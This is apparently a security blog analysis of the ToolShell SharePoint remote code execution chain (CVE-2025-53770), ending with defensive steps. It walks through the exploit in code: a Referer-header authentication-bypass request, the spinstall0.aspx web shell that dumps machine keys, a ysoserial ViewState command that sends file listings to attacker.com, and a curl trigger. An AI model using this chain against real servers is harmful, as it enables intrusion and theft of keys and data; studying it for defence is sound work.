Diving into ToolShell SharePoint RCE (CVE-2025–53770)
Meet CVE-2025–53770, a zero-click, unauthenticated remote code execution (RCE) bug in Microsoft SharePoint Server that’s currently being exploited in the wild. It’s dangerous and not a particularly complex exploit, which is why the internet is going bonkers about it.
Timeline Overview
Back in May 2025 l0gg, a security researcher at Pwn2Own Berlin, discovered a combo exploit in SharePoint dubbed ToolShell, chaining two bugs (CVE-2025–49706 and CVE-2025–49704) to achieve unauthenticated RCE over the web application process. No significant details were given, and the information was very limited. Although the issue might have been patched, a groundbreaking discovery turned ToolShell into a 0-day exploit, this time under CVE-2025–53770. Setting the HTTP Referer header to /layouts/SignOut.aspx defeats the normal login requirement on the ToolPane page.
In short, an attacker can send a POST request to /_layouts/15/ToolPane.aspx?DisplayMode=Edit with Referer: /_layouts/SignOut.aspx, and SharePoint will treat the request as if it were authenticated. By July 18, large-scale attacks were detected worldwide.
Exploitation Chain
Authentication Bypass
The attacker sends a POST request to /_layouts/15/ToolPane.aspx?DisplayMode=Edit, using a crafted Referer header (/_layouts/SignOut.aspx) to bypass authentication. This leverages a header spoofing vulnerability that makes SharePoint to treat the request as authenticated.
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: <target>
Referer: https://target/_layouts/SignOut.aspx
Payload Delivery (CVE-2025–53770)
With authenticated access to the vulnerable ToolPane.aspx endpoint, the attacker exploits an insecure deserialization vulnerability by submitting a malicious payload in the POST body. SharePoint deserializes attacker-controlled data without validation, leading to the execution of embedded commands. But what does the POST body payload look like? Most articles on the internet suggest that attackers send serialized data which results in dropping a stealthy file named spinstall0.aspx. When triggered via a GET request, this file extracts the ValidationKey and DecryptionKey from the server’s machineKey configuration and sends them to the attacker.
<script>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>Since a couple of days had passed, the web shell mentioned above seems to have been flagged by security solutions and is now easily detectable.
Another payload that caught our team's attention while digging through telegram groups was this:
This payload abuses ToolPane's ability to dynamically load and render web parts. It injects a custom .ascx control (AclEditor.ascx) with embedded malicious markup (MSOTlPn_DWP) containing ASP.NET controls and a heavily compressed payload. This payload includes a Scorecard:ExcelDataSet object with a large, base64-encoded, GZip-compressed string likely containing malicious or exploitative code.
Unlike spinstall0.aspx, which typically drops a web shell for remote command execution, this payload exploits the dynamic control rendering feature to execute code without uploading a file to disk, a fileless attack vector. It's more stealthy and may bypass traditional antivirus or file integrity monitoring.
Y So Serious?
Depending on the chosen exploitation method, there are different ways to execute commands on the server. This particular attack leverages the ysoserial .NET tool for data serialization.
After dumping the keys using the web shell, an attacker can generate their own token using ysoserial and use it for command execution.
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"dir 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) }\"" \
--generator="<VIEWSTATE_GENERATOR>" \
--validationkey="<VALIDATION_KEY>" \
--validationalg="<VALIDATION_ALG>" \
--islegacy \
--minifyFinally, in order to achieve RCE, use the generated token in the ViewState parameter:
curl http://target/_layouts/15/success.aspx?__VIEWSTATE=<YSOSERIAL_GENERATED_PAYLOAD>However, when using the web part payload you do not need the keys. In this case, the payload generated in LosFormatter as shown in the following steps:
- Generate a losfomatter payload:
ysoserial.exe with -f LosFormatter -g ObjectDataProvider -o base64- Finally G-ZIP compress the payload and serve it.
Metasploit Module
Finally, Rapid7 published their own exploit for ToolShell, which automates the exploitation process. The module implements the required attack chain by uploading the .ASPX webshell, harvesting MachineKeys values and achieving command execution by sending commands using the ViewState parameter.
How to defend?
- It is strongly advised to follow Microsoft Official Advisory on this CVE
- Temporary block access to /_layouts/15/ToolPane.aspx
- Look for suspicious files like spinstall0.aspx in the LAYOUTS directory
- Rotate your ASP.NET machine keys using Set-SPMachineKey
References:
https://research.eye.security/sharepoint-under-siege/
https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501
https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770
https://github.com/rapid7/metasploit-framework/pull/20409/files#diff-fcdbf2a33c9f84409821a04410a1656568c5cef6b495d6d3f8f4eab44900fdc9